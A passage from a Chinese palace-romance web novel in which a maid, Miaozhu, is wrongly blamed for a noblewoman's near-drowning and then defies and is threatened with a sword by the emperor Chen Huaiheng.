施宁煦就是在这样的情形下醒过来的,那边施枕谦和太医在殿外吵架,陈怀衡守在殿内。 落日的余晖从殿外泄进,躺在榻上的施宁煦悠悠转醒。 桌案上燃着一盏小灯,陈怀衡心烦意乱坐在旁边守着,妙珠的事、宁煦的事,都烦得他头疼,听到床那边似有动静,抬眼去看,就见施宁煦已经醒了过来。 他试探性唤了她一声:“宁煦。” 施宁煦昏了四日,再一睁眼,就看到了以前经常躺着的宫殿。 是乾清宫的偏殿。 她曾在这里住过快半年。 听到陈怀衡唤她,施宁煦声音沙哑回了他的话:“怀衡哥。” 已经有人跑出去找了施枕谦回来,外头那断断續續的吵闹声戛然而止,而后,施枕谦就跑进了殿,他冲到床边,险些把陈怀衡都撞到。 陈怀衡退开到了一边,任由那两兄妹说话,而后,又去倒了一杯温水过来,递给了施枕谦,他打断了他,道:“少说些吧,刚醒过来,喂她喝些水下去先。” 施枕谦这才注意到施宁煦的嗓子都快哑得不像话,赶緊喂她喝了些水下去润润。 施宁煦脸色仍旧惨白,这次落水显然让她受了不少的罪,好不容易在溪山养好的病,一下子好像白养了。 陈怀衡又喊了太医过来看她,看过之后,说人既醒过来了,那便是没什么大碍了。 见此,陈怀衡便马上问起了那日的事。 他道:“宁煦,你可曾记得那日你是怎么掉进水里的?” 施枕谦便不乐意他问这个了,又还能是谁?现在她一醒过来就问她这样的问题,岂不是成心来烦人的。 他颇没好气道:“那日拢共也就她们两个人,除开妙珠,你说还能有谁?难不成是宁煦自己走着走着,左脚拐右脚摔进河里的不成?” 可施宁煦听到施枕谦的话后,马上道:“谁说是妙珠了?” 她现在醒来说过几句话后,脑子也慢慢转了起来,听到那两人的话也听出了个大概。 看来,他们定是将妙珠当做害她的人了。 她记得分明,看得真切,那天妙珠捂着眼睛掉眼泪,她刚想开口去安慰她来着的呢,结果,不知道是从哪里伸出来的一双手,一把就给她往水里头推。 施宁煦面色有些凝重,她道:“是谁都有可能。” “可决计不可能是妙珠,我亲眼看着她的,她正捂着眼睛掉眼泪,压根就没可能伸手来推我。” 陈怀衡看向施枕谦,面色已然不大好看,施枕谦被他看得发毛,可还是嘴硬道:“你这样看我做些什么” 那日又不只是他在吵着要处置人。 施宁煦一看他们两人这幅样子,就知是发生了些什么不大好的事。 她问道:“你们是不是以为是妙珠对我动的手?” 两人都没说话。 施宁煦又问:“你们不会处置她了吧?” 殿内仍旧是一片死寂。 过了良久,是施枕谦开口道:“她就只是个宫女罢了。” 认错是一件极其难忍的事,尤其是向一个宫女认错。 施枕谦心安理得的告诉自己。 她只是一个宫女罢了。 所以,便是错冤了她,他也不用愧疚。 施宁煦一直是知道的,一直都知道施枕谦的性子这样恶劣。她最不喜欢他的便是这处,他在北疆那处待久了,军队之中军纪严明,向来官大一阶压死人,他是总督之子,又年少成名,心气总也比寻常人高一些。 上次他那样待妙珠,本以为赔礼道歉过后,人会好一些起来,可不想,仍旧那般。 仍旧那般! “就是个宫女?”施宁煦重复了一遍施枕谦的话,而后气得发颤,牙关都咬得一抖一抖,她道:“就因为她是个宫女,所以哥哥就能把怒气都撒到她的身上,就因为她是个宫女,所以哥哥可以无所顾忌地欺辱她,就因为她是个宫女,所以哥哥可以无缘无故地将人想成那般歹毒心肠。” 她想起妙珠在御花园那天,那般神傷,而后又近乎质问般对陈怀衡道:“所以,妙珠于陛下,也就只是个卑贱的宫女吗?” 妙珠都算做他的身边人了,可他竟也这样待她。 施宁煦等不到他的回答,只是嘲讽讥他道:“也是,你连论语都不叫人碰。” 施宁煦不敢想,若是哪一天谁不叫她读些自己喜欢的书,那她憋也是要活活憋出病来的。 陈怀衡或许也是觉得,一个宫女罢了,有什么读书的必要吗? 这便太过分了。 陈怀衡同施枕谦是一样的人,不然也走不到一处去,他们享受了太多权利带来的便利,从始至终,只会俯看人世间。 陈怀衡听到施宁煦的话后,面上终于有了表情,他蹙眉问道:“谁同你说的这些?” 还能是谁? 除了妙珠自己,又还能是谁说这些话。 看来,上次不让她读书的事情,她心里面也还是难受。 他对施宁煦反问道:“她只需要跟在朕的身边侍奉,何须读这些?” 施宁煦懒得同他继續说,若能和他说得通,他一开始也不会那样待妙珠了。 她想要起身下床,施枕谦一把按住了她,道:“你这才醒,现下是要去哪?” 施宁煦也来了气,挥开他的手:“你们趁我昏迷时借我的名头欺负人,现下不该我去道歉?” 施枕谦急了:“你何必对这事这般耿耿于怀?也没怎么着她,连血都不见得。” 他就不懂了,妙珠也不曾伤到哪里,最后也没怎么着,怎么她就那么放不下这件事了。 施宁煦叫他气得头昏,向来柔顺的人,今日却难得瞪眼,她怒道:“你再说一遍!你再说一遍,我再也不认你了!” 施枕谦见她情况不对,气得面红气不顺,也不再拗下去了,终于瘪嘴噤声。 施宁煦仍旧要起身,可她才醒过来,现在往外出一趟,少不得又要昏过去。 最后是陈怀衡让人去喊了妙珠过来。 算起来,他也有约莫四天没见过妙珠了,问过卿云,说她这些天一直缩在屋子里头,不怎么出去过。 他让卿云给她送去的都是些上好的膏药,按理来说,涂了四天,那伤应当是好得差不多。 配房就在一旁,没多久妙珠就过来了。 她的气色看上去好像比前些天好上那么一点,脸也没再那般惨白,看她走路样子,便知伤是好透了。 妙珠见到陈怀衡,却也不如先前那般抗拒,瞧着竟 和从前的时候无甚两样。 可陈怀衡觉得不太对。 总觉得有哪里不太对。 他喉结上下滚动,过了许久才吐露出一个“你”字,可刚要说出口的话却被一旁的施宁煦抢了先,他也只好先住了声,不再开口。 施宁煦见妙珠没出什么大事,想来也是伤得不重,便悄然松了一口气。 她道她:“妙珠,这回是我连累你了。” 也是怪她没什么用,一晕就是晕个四天,若当时她没能晕过去,后来她也不至于落得被人众人指摘猜疑的下场。 妙珠没想到宁煦竟会这样说,错愕了一瞬后,很快摇头道:“小姐能醒过来,奴婢便放心了。” 这四日,施宁煦一直不醒,妙珠在配房里面待得也心惊胆战,生怕哪一天就要听到施宁煦没挺过去的消息。 她若是醒来,她便也能够放下心了。 施宁煦又狠狠扯了一把施枕谦。 施枕谦明白了她的意思,最后也还是扭捏着说了一句“对不住”。 这样的情形就在不久前的猎场中也发生过一回,施枕谦迫于施宁煦的压力,只好去给妙珠道歉,那个时候,妙珠应得很快,就像是没将那件事情放在心上。 可是,这一回,她抿着唇,瞥开了头,没有给他任何的回应。 殿内安静,静得只有几人的呼吸声。 施宁煦见此,却笑了一声,听着竟是开心。 是不该原谅。 有些事情,确实不该那么好被原谅。 妙珠不答应,才是好的。 可她不答应归不答应,施枕谦的歉还是要道的。 至于陈怀衡她也懒得抓着他去和妙珠道歉了。 让皇帝给宫女道歉,陈怀衡也不见得会应她,在这事上,他有那么一层皇帝的身份,那她说什么做什么也都是错的。 直接不去理会罢了。 施宁煦又和妙珠说了一会的话,左右无非就是抱歉,说以后若是有什么麻烦,尽管来寻她等等。 她毕竟昏迷了那么些天,继续多说下去,怕对身子不好。 陈怀衡寻了个机会就强行打断她们说话,对施枕谦道:“已经让下人送些粥过来了,你让宁煦喝些下去。” 说着,就兀地攥住了妙珠的手去了殿外。 那两人出去后没多久,就有宫人送了粥过来,施枕谦低眉,吹凉一勺粥递去施宁煦的嘴边。 可施宁煦突然发作,抬手一把挥开了施枕谦的手。 勺子里的粥一下子就撒到了床褥上。 施枕谦知道,施宁煦平日里头瞧着比谁都好说话,发起脾气起来,比谁都厉害些。 他被打开了手也没说话,继续执拗地舀了一勺粥递到她的嘴边,这回将勺子抓得紧了一些,以防她继续动手。 “你这回真得太过分了。”施宁煦问他,“妙珠和小理一样,都是苦命的人,当初在北疆的时候,为什么你能待小理和善,待妙珠便那般?” 小理是施宁煦他们在北疆的时候认识的朋友。 她是边陲小镇出身的姑娘,家境也极其贫寒,一次机缘巧合之下和施宁煦相识。 她们的出身让她们注定走不到一起,可命运却阴差阳错将她们绑到了一起。 施宁煦很喜欢小理。 只是,她最后也死在了那场灾疫之中。 小理死得很早,她比施宁煦还小一岁。 自她死后,施宁煦就再不曾提起过她,那么久了,施枕谦都以为她不记得那人了,可今日听她提起,才知她一直不曾忘。 他道:“她又不是她,你这样比,对小理也不公平。” 施宁煦道:“哥哥还论公平二字?若真公平,你欺负妙珠的那些事,便也该狠狠受罚才是。” 兄妹二人不再继续说下去,说到这里,皆已无言继续和对方再说些什么。 而此时,妙珠被陈怀衡拉了出去,带回了主殿。 他第一句话就是问她:“伤养好了?” 妙珠怕伤养好了之后就要重新回到他的身边侍奉,撒了谎,她紧抿着唇,摇头道:“还没好。” 陈怀衡瞥她一眼就知她在作谎。 现在竟连谎都学会撒了。 “行,不说实话,朕自己看。” 陈怀衡坐到了椅上,作势将她拉到腿上自己查看。 “不要!”妙珠大声拒绝,终于肯实话实说,“好了,已经好全了!” 陈怀衡见妙珠反应这般大,似极厌恶他的触碰。 他眉头紧拧,看着竟有些面目森然,他道:“既好了,说谎是想做什么?” 妙珠不说话,从始至终都低着头不说话。 陈怀衡道:“是想要躲懒?还是不想回朕的身边伺候?” 他给她台阶下。 如果她说是想躲懒,是还想要休息一段时日,那今日这事,他就当做什么都没发生过好了,可如果说,她今日撒谎,是因为不想留在他身边,那他 陈怀衡还不曾继续想下去,妙珠就先开口了,她道:“陛下上次不是说,奴婢想要什么,陛下都会答应的吗?” 陈怀衡问她:“你想要什么?” “奴婢有些太累了,怕在陛下身边伺候不好。” 她这话一出,殿内陷入了一片死寂,妙珠似乎听到他指骨作响的声音。 “你可知道你在说些什么?” 她知道,她太知道了,她破罐子破摔,抬头看陈怀衡:“不是陛下自己说过的吗?” 不是他自己说的会补偿她的吗? 难道这也是骗她的吗? 妙珠想到这里,眼中又涌起了一阵失落,也是,他又不是第一回骗她的了。 陈怀衡看着像是被她的话气到了,可妙珠竟也不害怕了,她道:“那日的事情,奴婢已经不委屈了,施小姐能醒过来,便已经是最好的事了。只是,既她也说过,奴婢不曾推过他,陛下还是早些找出真凶才好。” 万一下一次还有人欺负施宁煦怎么办? 真凶 真凶是谁,其实在那件事情发生的时候陈怀衡心中就已经有了大概。 他的母后不大聪明,每回做事都破漏百出,就像当初将丽嫔做成了人彘的事情,一下子闹得后宫皆知,能将事情做成这样的人,除开太皇太后也没别人了。 她那天也不过在赌他不会去查寿宁宫。 陈怀衡也确实没有去。 说到头就是他不想,他不就是觉得,他没有为妙珠做到那最后一步的必要吗,他仍旧倨傲地想着,即便妙珠受了罚,那也没有干系的,她仍旧会留在他的身边。 陈怀衡道:“我不会再容许那些事发生了。” 一个是少帝。一个是扶持帝王登基,执掌过朝政的太皇太后。 两人都有野心,可所争夺的权利也就那么丁点。 虽为祖孙,却天然地站在对立面。 他们两个人在某种程度上也确实相像,做事必然不喜欢给旁人留把柄,既然她动手了,那便事先安排好了,再找证据,不大可能。 太皇太后这两年安生了许多,除开想在他的身边安插些人外,已经很少在背地里面做过这样的事了,这回是陈怀衡没有防备,才叫她钻了空子,所以往后不会再给她这些机会了。 至于太皇太后做出的那些事,他自然也会和她算这笔账。 可是,他要怎么去和妙珠解释?去说他和太皇太后之间的那些陈芝麻烂谷子事? 他去说他从十岁的时候就在和她斗,一直斗到了十八岁? 他想,没有必要和她解释这 些。 他对妙珠道:“你不是想读书吗?朕亲自教你读,你以前不是还想着出宫去看看吗,往后有机会了,朕亲自带你出去。” 至于其他的,别想了。 给她提要求的机会,她真就开始想南想北想东想西。 第35章 第三十五章你不能这样对我! 妙珠听到他的话好像也并没有多高興,可到底也是没有反驳他,他的脸色不大好看,她再说下去,他又要不高興。他一不高兴,她也要倒霉不舒服。 她不吭声,不说话。 一直到陳怀衡抓过她的手,重重地按了一下,妙珠才终于回了神来。 “嗯。” 她最后还是应了下来,而后离开了这里。 待到妙珠离开之后,陳怀衡又沉默安静了好一会,而后动身前往了寿宁宫。 太皇太后方用过晚膳,正躺在贵妃榻上小憩。 她现在年岁大了,一天到晚也好像有睡不完的覺,吃得饱了要睡,肚子空了也要睡,劳神要睡,舒心了也要睡 她手上的事情不多了,心气也没前些年厉害了,人便跟一下子老了下去似的。 寿宁宫的宫人听说陳怀衡来了,便去唤起了还在覺中的太皇太后。 她悠悠转醒,听到是皇帝来了,也没什么太大的反应,让人扶着起了身,便去了外殿见他。 她并不意外今日陳怀衡会来,这事在她的意料之中。 施宁煦在皇宫中出事,即便这事被推脱到了那个小宫女身上,可陈怀衡又難道不知道真相吗? 他不可能不知道的。 太皇太后知道陈怀衡早已猜到了那日御花园中的事情是谁而为。 今日过来也无非是说那日的事。 可即便是知道他的来意,太皇太后脸上也没什么忧惧之色,反倒是笑吟吟问道:“皇上倒是鲜少会到了寿宁宫,今日是所为何事?” 陈怀衡神色很淡,眉眼之中能看出泛着冷意。 他道:“宁煦是功臣之后,她父亲后半生驻守北疆,死在北疆,自他元妻死后,一生未娶,膝下也就这么两个孩子,为了叫朕不痛快,皇祖母要这样对她?” 陈怀衡直接开门见山说了来意,语气也十分不善。 太皇太后听了仍是笑:“凡事都要讲證据,皇帝你这样说,便太没道理了。” 你若是找得到證据便来吧,我任你处置,可你有吗? 太皇太后拿起了杯盏抿了一口茶水,而后淡声道:“你今日来,原是宁煦来讨公道的啊,我还以为你是为妙珠而来。” 她这话带着几分试探,陈怀衡自也听出来了。 他对太皇太后道:“一个宫女罢了。” 太皇太后却不信陈怀衡有表面上那般風轻雲淡,她笑着摇头:“那这话怎能这样说,宫女又如何,皇上上心不就是了。” 陈怀衡却不接茬,寒声道:“若上心,那日朕便已经让人来寿宁宫拿人了。” 太皇太后意味深长“嗯”了一声,笑道:“那听着好像确实是不怎么重要呢,我还以为你和你父皇一样呢就喜欢那些出身卑微的贱骨头。” 斗争已经开始,他们之间早就不用讳饰。 陈怀衡脸色阴沉了下来。 他道:“她就算卑贱,那也是乾清宫的人,用得着皇祖母来置喙?” 太皇太后道:“还什么都没说呢,何必急成这样。” 陈怀衡冷笑一声,道:“不过皇祖母说得也是,凡事要讲证据,宁煦的事朕是寻不到证据,不过,这世上大多事还是都能寻到根源,记得前些时日皇祖母家中的子侄犯了不少事,已有人弹劾到了朕的面前。” 太皇太后听到这话之后脸上神情僵持了一瞬,可很快却又恢复了寻常:“若犯了錯,罚就是了,皇上既已能独当一面,又何须来同我说。” 陈怀衡笑,道;“自也不是想来过问皇祖母意见,不过也是知会一声罢了。” 陈怀衡没什么好继续和太皇太后说的,也没继续在这待下去,起身离开。 看着陈怀衡离开的背影,太皇太后脸上那牵强的笑转瞬间消失了干净,她将手边的杯盏掷出,一声脆响,茶杯应声而碎,周遭宫人也都跪了一地。 * 妙珠从主殿那处离开后,便拿了换洗的衣服去了浴堂那边。 已经十一月了,入了冬后,天气变得十分寒凉,妙珠进了净室,却没放热水,直接打了桶凉水兜头浇下。 她叫这水冰得打了一阵的机灵,可仍舊没有停手。 一直到了最后,实在冷得不行了,再浇下去就要昏倒了,才终于收了手。 她没急着穿衣服,一直到身上的水干得差不多了,才把衣服套身上。 等回到房里头的时候,荣桃见她面色苍白,也跟着骇了一跳。 “妙珠,你这是怎地了?脸怎么白成这样了?” 妙珠蹿进了被子里头,道:“回来的时候吹了些风,冻着了。” 就这样,到了第二日,妙珠不负众望地染上了風寒,只是这么一弄,不知怎地弄得月事也跟着来了,许是之前避子药喝得多了,又或许是昨日那场冷水浇的,这场月事竟疼得出奇。 没想到最后竟将自己弄得这样的境地,風寒和肚子的疼痛快折磨得她痛不欲生。 她强撑着力气对荣桃道:“荣桃,你帮我去和卿雲姐告个假吧,染了風寒,不宜再去陛下身边服侍了。” 荣桃去告诉了卿雲,妙珠染上风寒的事情,卿云又去将这件事情同陈怀衡说了。 陈怀衡已经起了身,却又迟迟等不到妙珠,本想让卿雲去问是怎么了,却没想到先过来回话,说是受了风寒。 “风寒?” 早不染晚不染,偏偏是这个时候染上,若说这中间没什么手脚,陈怀衡是不信的。 人现在是越发不听话了。 陈怀衡竟也没说什么,先行去上了早朝,待到回来之后,让人去唤了荣桃过来服侍。 她不是染风寒了吗,她来不了,那就让旁人来好了。 妙珠正躺在床上疼得面色发白,荣桃正喂着她喝姜糖饮。 荣桃边喂她喝饮子,边叹气道:“你便不该那么爱干净,天都这样凉,你屁股上又挨了板子,才好起来便往浴堂去,现下好了,着了凉了。还偏偏碰上了月事,怎就这般倒霉” 就在这时,卿云从屋外进来,说是陈怀衡喊了荣桃过去服侍。 妙珠躺在床上,听到话后眼皮忍不住一颤。 他这是什么意思? 荣桃倒是不曾多想,听到陈怀衡唤她,也只好先放下了手上的汤饮,她对妙珠道:“那我便先去服侍陛下了,这饮子你趁热喝下去才舒服。” 说完这话她便要起身出去,却被妙珠拽住了手腕。 她道:“扶我起来一下,我去吧。” 荣桃覺得妙珠是有些昏头了,她这幅样子怎得去? 她道:“那不行,你好好歇着吧。” 妙珠不肯,执意起身。 荣桃拗不过她,没了办法也只好扶着她起来。 妙珠本想借着风寒躲他,可最后还是被逼得去寻了他。 若知如此,昨个儿也不那般作践自己个儿了。 陈怀衡显然料到她会过来,他坐在金龙宝座上面,看着出现在殿前的人,只从喉间冷不防地讥诮出声:“不是染风寒了?” 不是不能来吗? 现在不还是能来吗。 在陈怀衡眼中,妙珠显然是在装病躲他。 现在见人过来了,语气也并没有变好,仍舊是那样冷冰冰的。 妙珠没说话,没吭声,走到陈怀衡的面前,见他是要批奏折了,便开始为他研磨。 待人走到面前,陈怀衡终于发现她的些许不对劲。 她瞧着怎么死气沉沉,脸色也那样白。 陈怀衡很快想到了什么,气得有些咬牙切齿,他道:“你个蠢货,昨个儿夜里回去真将自己弄得染了风寒?” 为了躲他,把自己弄得半死不活。 他仔细想了想,这也确实是她能做出来的事。 妙珠腹痛头昏,听到陈怀衡的话也仍舊默不作声,只是她那抓着墨的手指用力得没有一丝血色,昭示出了她的痛苦与心绪。 陈怀衡不知不觉间又被妙珠牵动了心绪,若是在从前,他现下大可说些吓唬她的话,逼得她老老实实,可是,妙珠这幅样子,竟弄得他喉中发哽,再说不出什么,最后也只是艰難地吐出一声讥讽。 其实,说句实在话,陈怀衡事到如今还不觉自己 哪里有做錯了,他做事向来只看结果不看过程,妙珠如今身上也不曾有什么伤,躺了四日便养好了身子,这便证明,这些伤其实根本没有大碍,不是吗。而且,他也没有轻易地抹过这件事的意思,只他不也是给她提了补偿的法子?她为什么还要和他怄气到这种地步。 为了躲他,甚至还不稀还把自己弄成这幅样子。 陈怀衡眉眼之间的阴郁不再掩饰,他把手上的奏章丢去了一旁,嗓音低沉道:“到底还是日子过舒坦了。” 奏章“啪”的一声砸到了桌案上,声音不小。 妙珠已经算不清到了乾清宫掉过多少的眼泪,受过多少的疼了,肚子的胀痛还有风寒致使的头脑发昏,让妙珠的忍耐力也变低了。听到了陈怀衡的话后便实在无法忍受了,她停了手上的动作,竟反问他道:“奴婢舒坦什么?” 她到底在舒坦什么? 白天出力,晚上出力,避子药当水去喝。 妙珠实在想不明白,她到底有什么好舒坦的? 他连护她一下都不愿意,她難道还要对他死心塌地吗? 她挨了板子后,躺在床上想了好些日子。 她想明白了,像他这样的人,根本就不是能够庇护她的那片天。 妙珠的声音带着浓厚的鼻音,陈怀衡已经被妙珠的行径气得咬牙,下颌紧紧绷着,呈现一条锋利的弧线。 这两日天一下子就冷下来了,她倒是有本事得很,一下子就给自己作践成这幅死德行。 那几下轻飘飘的板子比她作践自己还能来得厉害一些? 他冷冷笑道:“好啊,好得很,有骨气。” 有骨气。 她太有骨气了。 妙珠被月事折磨得疼痛难忍,此刻站在这里也全凭那一口气强撑着罢了,她看到陈怀衡的脸色越发难看,可心中竟也说不出多害怕了。 他会掐死她吗? 妙珠在想。 陈怀衡不给妙珠揣测下去的机会,掀起眼皮看向了她。 “不想服侍朕了是吧?”陈怀衡道:“好啊,那朕成全你。不过,从来都只有朕赶人走的份,没有人自己能从这里全须全尾的退下去。手啊,脚啊,又或者是眼睛,来,自己选一个留在乾清宫。” 真能选出来,他也敬她有本事了。 他说过的,她要是敢背叛他,他一定会叫她死都不痛快。 妙珠看着陈怀衡,眉心蹙拢成了一团,她不明白,他怎么能厚颜无耻到这种地步。 这是第一回,妙珠觉得陈怀衡竟如此面目可憎。 做錯事情的分明是他,为什么现在他还能说这样的话? 有过前几回的事情在先,妙珠知道,陈怀衡总是喜欢说这些话吓唬她。 可是这回,妙珠不会再听他吓唬了。 她不做声,就这样和他对峙。 陈怀衡看着她,冷冷勾起唇角,寒声道:“好,那朕替你来选。” 说着,他就让卿云拿劍过来了。 人的脾气在经历一些极不公平的事情之时很容易就能变厉害的,就像是最卑贱的乞丐,在碰到极度的不公之时,也会咿咿呀呀骂出世上最难听的话,可是骨气这东西,轻易是长不出的,从出生落地就在被打压的人,腰杆子也是一下子直不起来的。 妙珠没有想到陈怀衡会真的拿劍,一下子往卿云身后躲。 从她的角度来看,这件事情本就是陈怀衡待她不公、欺骗她在先,他到头来怎么能比谁都有理呢?! 他不要脸! 陈怀衡见她躲在卿云身后,却还拿着劍步步紧逼。 妙珠冲他喊道:“你不能这样对我!” 他凭什么这样对她?! 为什么要这样对她! 陈怀衡漠声道:“朕怎么对你都行,不是想要离开吗?骨气呢?” 妙珠身上疼,脑袋气,一个劲地往后退,可或许是劍在眼前太过害怕的缘故,左脚绊右脚,一屁股跌在了地上。 肚子叫这么一摔,疼得更厉害了,她一边捂着肚子一边双脚不听地在地上蹬着,想离那疯子远一些。 卿云见状,也赶紧拦在妙珠身前,她替她说话,道:“陛下,妙珠这些时日身上一直带着病,脑子也拎不清了,您别和她计较。” 卿云又抓着妙珠道:“你快同陛下求饶,陛下心善,不同你计较。” 妙珠哪里还说得出话,早就泣不成声,整个人不知道是疼的还是怎么的,抖成一团。 她说不出话,只是恨得整个人都抖得厉害。 殿里头乱成了一团,冬日惨淡的暖阳从直棂窗的纱纸中泄进,在地上落下一道道稀疏的光影,将好落在妙珠的身上,她一人落在光里,而陈怀衡落在殿内的阴影中,就是索命的罗刹。 两人一个不求饶,一个不收剑,就这样的陷入了对峙。 一直到陈怀霖出现,打破了这处的凝滞。 他看到这处的场景,愣了一瞬,视线落在倒在地上的妙珠身上,而后很快就收了回来,他装作不见此景,若无其事向陈怀衡行了个礼。 他道:“陛下,臣有关乎新政的事要议。” 陈怀霖并没有在朝中担任实职,平素有什么重要的事,也都是私下亲自来和陈怀衡商议。 看到外人出现,陈怀衡的脸色仍旧没有多好看,不过,还是把剑丢到去一旁。 长剑在地上跳了跳,发出“哐啷”一声,这声音在妙珠的心头久久震颤不散,吵得她都近乎耳鸣。 她觉得自己的脑袋和肚子一样,忽然之间都疼得不像话。 只在一片混沌之中听到陈怀衡开口道:“都滚出去。” 妙珠还没有反应过来之时,卿云就已经捡起了地上的剑,拉着妙珠匆忙起身往外去。 两人很快就去了殿外。 紫禁城这个地方从来不缺阳光,妙珠的这颗脑袋在阳光的照射下渐渐发热,可转瞬间又在寒风的抚摸下变凉,就在那么一刹那间,冷热交替,弄得人几欲作呕,苦不堪言。 卿云将剑插回了剑鞘之中,一边又连着叹了好几声气,对妙珠道:“哎哎,你啊,何必和陛下过不去呢,最后吃苦的还得是自己。” 可是妙珠不明白,她是真的不明白。 为什么他做了坏事,还能这样毫无负担的伤人。 妙珠道:“可我没錯,我为什么不能和他过不去呢。” 这话说出来,妙珠自己都觉有些好笑了。 为什么?还能是为什么。 卿云说:“因为这是皇城。” 陈怀衡的行为,能在这皇城之中找到最底层的根据,他今日所做的一切,也符合着这紫禁城几十年甚至上百年的理。 妙珠不可能会懂陈怀衡为何能这般厚颜无耻,而陈怀衡也不始终不会明白妙珠究竟为什么要对那么一件事耿耿于怀。 这就像是所有人认为的那样,女子和男子生下来就截然不同,女人在感情的事上更为敏感,而男人嘛不拘小节,不在意那些细枝末节,很多女人在意的事情,男人总是轻飘飘就扯过去啦。可在卿云看来其实也并非如此,至少她见过的大部分情况都不是这样,男人其实比女人更感情用事一些,甚至都要到了不讲道理的地步。 他们能轻易地把事情扯过去,那也是因为他们根本就不占理啊。不占理的事,没人会想抓着不放的。 而撇开男人与女人不谈,妙珠和陈怀衡的身份之间隔着一道不可跨越的鸿沟,男女之性在他们身上反而是最微不足道、最不值一提的东西了。 说到底也不过是人与人之间的巨大差距。 陈怀衡是帝王,他有权对任何人做任何事,即便他有错在先,可那些错在他看来根本就不是什么事,甚至只要他想,他都可以直接装作这件事不曾发生过。在这皇家里面,哪个人不是自私自利,诡计多 端?至于陈怀衡那更不用说了,不管是在男女之事上,又还是在其他的事情上,他从始至终都是极致的利己,弃我者昨日之日不可留,乱我心者今日之日多烦忧,高兴就留,不高兴就丢掉,没什么好多想的。想那么多干嘛?自己舒服痛快了不就是了。 妙珠生气了,要和他闹,那也可以。 他总之有千万种法子能去叫她低头。 就如今日这般,妙珠你想离开是吗,那也可以,你能留下你的手吗?留不下的话,那你的人就该留下。 做错了事情又如何?可若你妄图离开,那你就是大逆不道,你就是在背叛他。 你的私心,犯下的罪过同他的相比,那简直就是罪无可赦。 妙珠听到了卿云那句简短的回答,平日蠢笨的脑袋却在这刻无比的灵光,她转瞬之间就明白了她那句“因为这是皇城”之下蕴含的巨大道理。 她在此刻无比厌恶自己懂这些。 因为懂这些,所以,她连人都难当。 就像是她从出身之时,所有的人,所有的一切都在告诉她,你是这世上最卑贱的人,可那个时候的妙珠,还是不服气,去你大爷,大家两条胳膊两条腿,谁也别瞧不起谁。 而紫禁城的天和外面的天又不一样,那是人的脊骨不能承受的重量。 妙珠的脊背太薄了,轻而易举就被压垮了。 她从跟在陈怀衡的身边之时,就知道,他是她的天。 这话不用任何告诉她,她也能够知道。 可是,她已经全身心的臣服他了,他还是对她那么不好。 从今日过后,妙珠更加深信,这样的天,不要也罢了。 心里面本来已经被压迫产生的一点叛逆,就因这么一件事,猛地蹿上了心头。 就像是一丁点的小火花,落在了快枯死的草地上,燎起了一大片的火。 她没办法躲过陈怀衡,可是她又真的不甘心。 就在这时,陈怀霖已经和陈怀衡议完了事,从主殿出来。 妙珠听到那些人给陈怀霖行礼的动静,还没反应过来之时,视线就已经落到了他的身上。 浅袍男子站在暖阳之下,一如往常那般眉眼清隽。 不知是何缘故,妙珠的心,竟在此刻跳动得如何厉害。 她没办法不听陈怀衡的话,可为什么要控制自己跳动的心呢? 他能管得住她的人,可是心呢?他管不住的。 陈怀衡,你管不住的。 你要让她像是卑贱的奴仆那般臣服你,那可以,那完全是可以的,毕竟她本身就是那样的人对吗? 可是,其他的,你再也管不了了。 她为谁而跳动,又为谁而沉寂,这是她唯一能控制的东西了。 他总归那样待她,那,妙珠也不会再听他的话了,再也不要听了,不要信了。 陈怀霖从乾清宫出来,不曾想妙珠她们竟也没离开这里。 他看着妙珠,想到今日撞见的那事,最后还是上前问了一句:“你没事吧。” 其实有事没事的,哪里看不出来? 妙珠知道,周遭都是眼睛,她也不好多回些什么,看了一眼陈怀霖,末了也只是摇了摇头。 碍于这里是乾清宫,陈怀霖最后也只是问了这么一句,便不再待着,离开了这处。 妙珠今日的眼神有些不大一样,哀伤之中带着一丝亮光,或许是阳光的照耀,才显得少女的那双眼睛那般与众不同。 不不太对。 陈怀霖似乎察觉出了一些不同寻常的痕迹,不过,终究是没敢去深想。 两人之间短暂说过两句话便没继续,就连卿云也没发现什么不寻常的地方。 她道:“你先在这等着我,我进去瞧瞧陛下气消下去没,若是下去了,你便进去说两句好话。陛下的气来得快去得也快,你把他气哄顺了,便什么事都没有了。” 陈怀衡待妙珠总归也是有些不一样的,不然的话,就方才那架势,就凭她难道还能拦得住他吗? 吓唬她一下罢了。 妙珠听到卿云的话后,沉默着没说话,卿云见她这样,又沉沉地叹了口气,她道:“妙珠,就这样吧,这事就这样过去,再想下去,也只徒增自己的烦恼罢了” 怕她不听,卿云还想再说,妙珠却终出了声。 “姐,我知道的。” 她都知道的。 别和陈怀衡拧着来。 没用的。 她那软骨头,哪里在他面前硬得起来。 讨好他,顺从他,她就可以过得很好了。 可她肚子仍旧疼,头仍旧昏,她道:“我是真的受了风寒,今个儿还来了月事,疼得厉害,能不能就先不去了。” 原是如此,也难怪看她今日脸色如此不好,本以为是被吓的,没想到是叫月事疼的。 她道:“你在这等一会,我去同陛下说一声。” 说罢,卿云就往殿内去了。 陈怀衡坐在龙椅上,面色仍旧阴沉如水,卿云上前道:“陛下,妙珠今日身子是真不爽利,她还来了月事,身上也疼得厉害” 说到这里,她还特意补了一句,道:“她也非故意同您作对怄气。” 那气都怄成这样了。 还说不是故意作对怄气。 不过,陈怀衡没继续追究下去,抬眼问道:“来月事了?” 回想起方才妙珠的表情,确也不像单纯的风寒。 只是,他气在头上,全然没往旁的地方想。 他沉默片刻,又道:“她知错了没有?知错就让她进来。” 卿云想了想方才妙珠的样子,最后道:“当是知错了的,奴婢喊她进来吧。” 卿云出去一会,没多久,妙珠就进了殿。 第36章 第三十六章是陈怀衡。全都怪陈怀衡。…… 殿内的博闻炉散着袅袅烟气,将两人的眉眼都模糊上了几分雾气,看着有那么些的不大真切,地炕烘得将空气都烧得暖融融,屋外的寒风拍在紧闭的门窗上发出哐啷声,凝滞的空气也不曾那样安静。 是陳怀衡先开了口,他道:“卿云说你知道错了。” 所以,你到底知道错了没? 妙珠果真是没有再和陳怀衡犟脾气,她“嗯”了一声,她道:“知错了,知道错了。” 许是风寒让她的声音又沉又闷,可话中确实也听不出什么不痛快。 她方才那般,看样子是真被吓坏了。 现在又哪里还能有什么脾气。 可陳怀衡又问她:“你错在哪了?” 错哪了? 妙珠道:“不该惹陛下生气,不该说些躲懒的话,陛下原谅奴婢吧,奴婢身子疼。” 妙珠服软服得极快,也极得心应手。 她不要再惹陳怀衡生气,因为他并不会怜惜一个惹他生气的卑贱宮女。 她生出的逆骨,他会一点点亲自掰断。 那太疼了。 妙珠受不了。 顺着他就好了。 她想。 毕竟如果他心情好了,她能做的事情也就多了。 